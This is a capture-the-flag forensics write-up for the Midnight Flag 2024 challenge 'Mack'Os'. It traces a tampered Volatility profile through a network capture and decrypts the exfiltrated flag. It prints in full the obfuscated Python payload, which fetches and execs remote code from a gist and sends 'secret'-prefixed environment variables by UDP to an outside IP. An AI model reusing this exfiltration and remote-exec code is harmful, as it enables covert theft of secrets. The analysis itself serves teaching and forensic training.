Contents

Mack'Os

Midnight Flag 2024 - Mack’Os


Category

Forensics

Description

SOON

Files

Mackos.pcap

Difficulty

  • Author: NAME

screenshot

Write up

Trust me :)

We are given a network capture of the moment the thing happened to his computer.

The first thing we see is an exchange via telnet, in plain text. Just follow the stream (right-click > follow > TCP Stream) to view what was exchanged :

/posts/mack-os/img.png

This is, as planned in the description, the volatility2 commands that were executed. However, one command prompts a particular message

hello fellow analyst ! just checking a few things do not mind :)

“do not mind”, haha… fellow hacker.

We guess that the user has altered his profile to include a malicious payload.

My next step was to follow the next TCP stream, from 0 to 1, and look at its content :

/posts/mack-os/img_1.png

There is an upload of this package, in zip format. Let’s download it.

To do this, change the “Show data as” input from “ASCII” to “Raw”, download or copy only the client packets, and throw it into Cyberchef, remove manually the header or select “Extract files”, then download the .zip

You should have those two files : /posts/mack-os/img_2.png

They represent how a volatility profile works.

We can take a fast look at dwarf.txt.conv.vtypes to see what’s wrong here :

/posts/mack-os/img_3.png

payload2

The attacker uses a way to execute code while the profile is loaded by volatility. It prompts the already seen message, and then a big Base64 encoded command

We can decode it through Cyberchef again, or execute the payload by replacing exec by print

#!/usr/bin/python2
from urllib2 import urlopen
import types,time,os 
import socket 

_=((()>[])+(()>[]));
__=(((_<<_)<<_)*_);
___=('c%'[::(({}>[])-(()>[]))])*(__+(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))))%((__+(((_<<_)<<_)+(_<<_))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_*_)))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_*_)))),(__+(((_<<_)<<_)+((_<<_)*_))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+_))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+((_<<_)+(()>[])))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_*_)))),(((_<<_)<<_)+((_<<_)+((_*_)+_))),(__+(((_<<_)<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+((_<<_)+(()>[])))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_*_)))),(__+(((_<<_)<<_)+(_<<_))),(__+(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[]))))),(__+(((_<<_)<<_)+_)),(((_<<_)<<_)+((_<<_)+((_*_)+_))),(__+(((_<<_)<<_)+(_+(()>[])))),(__+(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[])))))),(__+(((_<<_)<<_)+((_<<_)+((_*_)+(()>[]))))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+(_<<_))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+(()>[]))),(__+(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[]))))),(__+(((_<<_)<<_)+((_*_)+(()>[])))),(__+(((_<<_)<<_)+(((_<<_)*_)+_))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+(_*_))),(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+(()>[]))),(__+(((_<<_)<<_)+((_*_)+_))),(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+(()>[])))),(__+(((_<<_)<<_)+(_*_))),(__+(((_<<_)<<_)+(_*_))),(__+(((_<<_)<<_)+((_*_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))),(__+(((_<<_)<<_)+((_*_)+_))),(((_<<_)<<_)+(((_<<_)*_)+(()>[]))),(__+(((_<<_)<<_)+((_*_)+(()>[])))),(__+(((_<<_)<<_)+(()>[]))),(__+(((_<<_)<<_)+(()>[]))),(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+(()>[]))),(((_<<_)<<_)+((_<<_)*_)),(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+(_*_))),(((_<<_)<<_)+(((_<<_)*_)+_)),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+((_*_)+(()>[])))),(__+(((_<<_)<<_)+(_*_))),(__+(((_<<_)<<_)+(()>[]))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))),(((_<<_)<<_)+((_<<_)*_)),(((_<<_)<<_)+((_<<_)*_)),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+(()>[]))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+(((_<<_)*_)+_))),(__+(((_<<_)<<_)+(()>[]))),(__+(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[])))))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+(()>[]))),(((_<<_)<<_)+(((_<<_)*_)+(_<<_))),(__+(((_<<_)<<_)+((_*_)+_))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+_))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+_))),(__+(((_<<_)<<_)+((_*_)+_))),(((_<<_)<<_)+(((_<<_)*_)+(()>[]))),(__+(((_<<_)<<_)+((_*_)+_))),(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+(()>[])))),(__+(((_<<_)<<_)+((_*_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+_)),(((_<<_)<<_)+(((_<<_)*_)+_)),(__+(((_<<_)<<_)+(_*_))),(__+(((_<<_)<<_)+_)),(((_<<_)<<_)+(((_<<_)*_)+_)),(((_<<_)<<_)+(((_<<_)*_)+(_<<_))),(__+(((_<<_)<<_)+_)),(__+(((_<<_)<<_)+(()>[]))),(__+(((_<<_)<<_)+_)),(((_<<_)<<_)+(((_<<_)*_)+(()>[]))),(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+_)),(((_<<_)<<_)+(((_<<_)*_)+(_<<_))),(__+(((_<<_)<<_)+(_*_))),(__+(((_<<_)<<_)+_)),(((_<<_)<<_)+(((_<<_)*_)+_)),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+(_*_))),(__+(((_<<_)<<_)+((_*_)+_))),(((_<<_)<<_)+((_<<_)*_)),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+_)),(((_<<_)<<_)+(((_<<_)*_)+_)),(__+(((_<<_)<<_)+_)),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+(((_<<_)*_)+_))),(__+(((_<<_)<<_)+(_+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+(_*_))),(((_<<_)<<_)+((_<<_)+((_*_)+_))),(__+(((_<<_)<<_)+((_<<_)*_))),(__+(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+(()>[]))))))
m = types.ModuleType('')
exec(urlopen(___).read().decode('utf-8'), m.__dict__)
k = '%d' % int(time.time())
enc = m.encrypt(str([{a:b} for a,b in os.environ.items() if a.lower().startswith('secret')]), k)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(enc, ('83.84.179.243', 16495))

The payload executes another one. Let’s take a look at this one :

  • It runs python2 (because volatility2)
  • Have some obfuscated stuff (?)
  • Opens an url (urlopen)
  • Chose a certain k, that looks like a key taken from timestamp
  • Encrypt some data using m.encrypt and k
  • Send the encrypted data to 83.84.179.243:16495

To know what the obfuscated stuff does, we’ll need to run a part of this code, in python2, like this :

_=((()>[])+(()>[]));
__=(((_<<_)<<_)*_);
___=('c%'[::(({}>[])-(()>[]))])*(__+(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))))%((__+(((_<<_)<<_)+(_<<_))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_*_)))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_*_)))),(__+(((_<<_)<<_)+((_<<_)*_))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+_))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+((_<<_)+(()>[])))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_*_)))),(((_<<_)<<_)+((_<<_)+((_*_)+_))),(__+(((_<<_)<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+((_<<_)+(()>[])))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_*_)))),(__+(((_<<_)<<_)+(_<<_))),(__+(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[]))))),(__+(((_<<_)<<_)+_)),(((_<<_)<<_)+((_<<_)+((_*_)+_))),(__+(((_<<_)<<_)+(_+(()>[])))),(__+(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[])))))),(__+(((_<<_)<<_)+((_<<_)+((_*_)+(()>[]))))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+(_<<_))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+(()>[]))),(__+(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[]))))),(__+(((_<<_)<<_)+((_*_)+(()>[])))),(__+(((_<<_)<<_)+(((_<<_)*_)+_))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+(_*_))),(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+(()>[]))),(__+(((_<<_)<<_)+((_*_)+_))),(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+(()>[])))),(__+(((_<<_)<<_)+(_*_))),(__+(((_<<_)<<_)+(_*_))),(__+(((_<<_)<<_)+((_*_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))),(__+(((_<<_)<<_)+((_*_)+_))),(((_<<_)<<_)+(((_<<_)*_)+(()>[]))),(__+(((_<<_)<<_)+((_*_)+(()>[])))),(__+(((_<<_)<<_)+(()>[]))),(__+(((_<<_)<<_)+(()>[]))),(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+(()>[]))),(((_<<_)<<_)+((_<<_)*_)),(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+(_*_))),(((_<<_)<<_)+(((_<<_)*_)+_)),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+((_*_)+(()>[])))),(__+(((_<<_)<<_)+(_*_))),(__+(((_<<_)<<_)+(()>[]))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))),(((_<<_)<<_)+((_<<_)*_)),(((_<<_)<<_)+((_<<_)*_)),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+(()>[]))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+(((_<<_)*_)+_))),(__+(((_<<_)<<_)+(()>[]))),(__+(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[])))))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+(()>[]))),(((_<<_)<<_)+(((_<<_)*_)+(_<<_))),(__+(((_<<_)<<_)+((_*_)+_))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+_))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+_))),(__+(((_<<_)<<_)+((_*_)+_))),(((_<<_)<<_)+(((_<<_)*_)+(()>[]))),(__+(((_<<_)<<_)+((_*_)+_))),(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+(()>[])))),(__+(((_<<_)<<_)+((_*_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+_)),(((_<<_)<<_)+(((_<<_)*_)+_)),(__+(((_<<_)<<_)+(_*_))),(__+(((_<<_)<<_)+_)),(((_<<_)<<_)+(((_<<_)*_)+_)),(((_<<_)<<_)+(((_<<_)*_)+(_<<_))),(__+(((_<<_)<<_)+_)),(__+(((_<<_)<<_)+(()>[]))),(__+(((_<<_)<<_)+_)),(((_<<_)<<_)+(((_<<_)*_)+(()>[]))),(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+_)),(((_<<_)<<_)+(((_<<_)*_)+(_<<_))),(__+(((_<<_)<<_)+(_*_))),(__+(((_<<_)<<_)+_)),(((_<<_)<<_)+(((_<<_)*_)+_)),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+(_*_))),(__+(((_<<_)<<_)+((_*_)+_))),(((_<<_)<<_)+((_<<_)*_)),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+_)),(((_<<_)<<_)+(((_<<_)*_)+_)),(__+(((_<<_)<<_)+_)),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+(((_<<_)*_)+_))),(__+(((_<<_)<<_)+(_+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+(_*_))),(((_<<_)<<_)+((_<<_)+((_*_)+_))),(__+(((_<<_)<<_)+((_<<_)*_))),(__+(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+(()>[]))))))
print(_)
print(__)
print(___)
exit()

-------------
Output:

2
64
https://gist.github.com/hsauers5/491f9dde975f1eaa97103427eda50071/raw/a8f66f1f9e77b2db28bab1328db274f05722b535/rc4.py

So the variable ___ is the only one used after the three obfuscated lines, and correspond to a gist.github.com link.

This file is called rc4.py, and embeds function to :

  • Generate keys
  • Encrypt and decrypt data

We have all we need to decrypt the sent data, except the key. By prompting k and its type, we can understand its origin:

k = '%d' % int(time.time())
print(k)
print(type(k))

-------------
Output:

1714290986
<type 'str'>

k is a str taken from the timestamp of the execution. Timestamp taken in seconds, according to Cyberchef once again :

/posts/mack-os/img_4.png

We know have :

  • the function to decrypt and recover the data
  • the knowledge of the key

What misses now is :

  • the timestamp used for encryption
  • the encrypted data

We’ve already found that it was sent to the ip 83.84.179.243, so let’s search it in our network capture :

/posts/mack-os/img_5.png

Our missing information is:

  • Data: 0X570X6A0XC50X5F0XDE0XC60X2D0XED0X7A0XF0XD90X850XBD0XC40X2A0XD60XE00X6E0X8A0XCC0X660XDB0XDE0X570X430XD20XB10X700XAC0X200X4A0XE30X4E0X620X5B0XBD0XF60X140XDD0X900XD50X2E0XF00XF90X260X6D0X490X830XAB0X310XAA0X3A0XD10X2A0X490X850X5E0X900XCE0X530X3B0XF40X480XAD0X640X540X550X330X530XF70X6A0XB80XE7
  • Timestamp : 1708176002

Then, this code decrypts the data :

from urllib2 import urlopen
import types,time,os 
import socket 

_=((()>[])+(()>[]));
__=(((_<<_)<<_)*_);
___=('c%'[::(({}>[])-(()>[]))])*(__+(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))))%((__+(((_<<_)<<_)+(_<<_))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_*_)))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_*_)))),(__+(((_<<_)<<_)+((_<<_)*_))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+_))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+((_<<_)+(()>[])))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_*_)))),(((_<<_)<<_)+((_<<_)+((_*_)+_))),(__+(((_<<_)<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+((_<<_)+(()>[])))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_*_)))),(__+(((_<<_)<<_)+(_<<_))),(__+(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[]))))),(__+(((_<<_)<<_)+_)),(((_<<_)<<_)+((_<<_)+((_*_)+_))),(__+(((_<<_)<<_)+(_+(()>[])))),(__+(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[])))))),(__+(((_<<_)<<_)+((_<<_)+((_*_)+(()>[]))))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+(_<<_))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+(()>[]))),(__+(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[]))))),(__+(((_<<_)<<_)+((_*_)+(()>[])))),(__+(((_<<_)<<_)+(((_<<_)*_)+_))),(__+(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+(_*_))),(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+(()>[]))),(__+(((_<<_)<<_)+((_*_)+_))),(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+(()>[])))),(__+(((_<<_)<<_)+(_*_))),(__+(((_<<_)<<_)+(_*_))),(__+(((_<<_)<<_)+((_*_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))),(__+(((_<<_)<<_)+((_*_)+_))),(((_<<_)<<_)+(((_<<_)*_)+(()>[]))),(__+(((_<<_)<<_)+((_*_)+(()>[])))),(__+(((_<<_)<<_)+(()>[]))),(__+(((_<<_)<<_)+(()>[]))),(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+(()>[]))),(((_<<_)<<_)+((_<<_)*_)),(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+(_*_))),(((_<<_)<<_)+(((_<<_)*_)+_)),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+((_*_)+(()>[])))),(__+(((_<<_)<<_)+(_*_))),(__+(((_<<_)<<_)+(()>[]))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))),(((_<<_)<<_)+((_<<_)*_)),(((_<<_)<<_)+((_<<_)*_)),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+(()>[]))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+(((_<<_)*_)+_))),(__+(((_<<_)<<_)+(()>[]))),(__+(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[])))))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+(()>[]))),(((_<<_)<<_)+(((_<<_)*_)+(_<<_))),(__+(((_<<_)<<_)+((_*_)+_))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+_))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+_))),(__+(((_<<_)<<_)+((_*_)+_))),(((_<<_)<<_)+(((_<<_)*_)+(()>[]))),(__+(((_<<_)<<_)+((_*_)+_))),(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+(()>[])))),(__+(((_<<_)<<_)+((_*_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+_)),(((_<<_)<<_)+(((_<<_)*_)+_)),(__+(((_<<_)<<_)+(_*_))),(__+(((_<<_)<<_)+_)),(((_<<_)<<_)+(((_<<_)*_)+_)),(((_<<_)<<_)+(((_<<_)*_)+(_<<_))),(__+(((_<<_)<<_)+_)),(__+(((_<<_)<<_)+(()>[]))),(__+(((_<<_)<<_)+_)),(((_<<_)<<_)+(((_<<_)*_)+(()>[]))),(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+_)),(((_<<_)<<_)+(((_<<_)*_)+(_<<_))),(__+(((_<<_)<<_)+(_*_))),(__+(((_<<_)<<_)+_)),(((_<<_)<<_)+(((_<<_)*_)+_)),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+(_*_))),(__+(((_<<_)<<_)+((_*_)+_))),(((_<<_)<<_)+((_<<_)*_)),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(_+(()>[]))))),(((_<<_)<<_)+(((_<<_)*_)+_)),(((_<<_)<<_)+(((_<<_)*_)+_)),(__+(((_<<_)<<_)+_)),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+(_+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+((_*_)+(()>[])))),(((_<<_)<<_)+((_<<_)+((_*_)+(_+(()>[]))))),(__+(((_<<_)<<_)+(((_<<_)*_)+_))),(__+(((_<<_)<<_)+(_+(()>[])))),(((_<<_)<<_)+(((_<<_)*_)+(_*_))),(((_<<_)<<_)+((_<<_)+((_*_)+_))),(__+(((_<<_)<<_)+((_<<_)*_))),(__+(((_<<_)<<_)+(((_<<_)*_)+((_<<_)+(()>[]))))))
m = types.ModuleType('')
exec(urlopen(___).read().decode('utf-8'), m.__dict__)

k = str(1708176002)
data = "0X570X6A0XC50X5F0XDE0XC60X2D0XED0X7A0XF0XD90X850XBD0XC40X2A0XD60XE00X6E0X8A0XCC0X660XDB0XDE0X570X430XD20XB10X700XAC0X200X4A0XE30X4E0X620X5B0XBD0XF60X140XDD0X900XD50X2E0XF00XF90X260X6D0X490X830XAB0X310XAA0X3A0XD10X2A0X490X850X5E0X900XCE0X530X3B0XF40X480XAD0X640X540X550X330X530XF70X6A0XB80XE7"
print(m.decrypt(data, k))

# enc = m.encrypt(str([{a:b} for a,b in os.environ.items() if a.lower().startswith('secret')]), k)
# sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# sock.sendto(enc, ('83.84.179.243', 16495))

-------------
Output:

[{'secret_technique': '  MCTF{my_secret_f0rens1c_tool_is_ripgrep!.!.!}'}]
Flag
🚩 MCTF{my_secret_f0rens1c_tool_is_ripgrep!.!.!}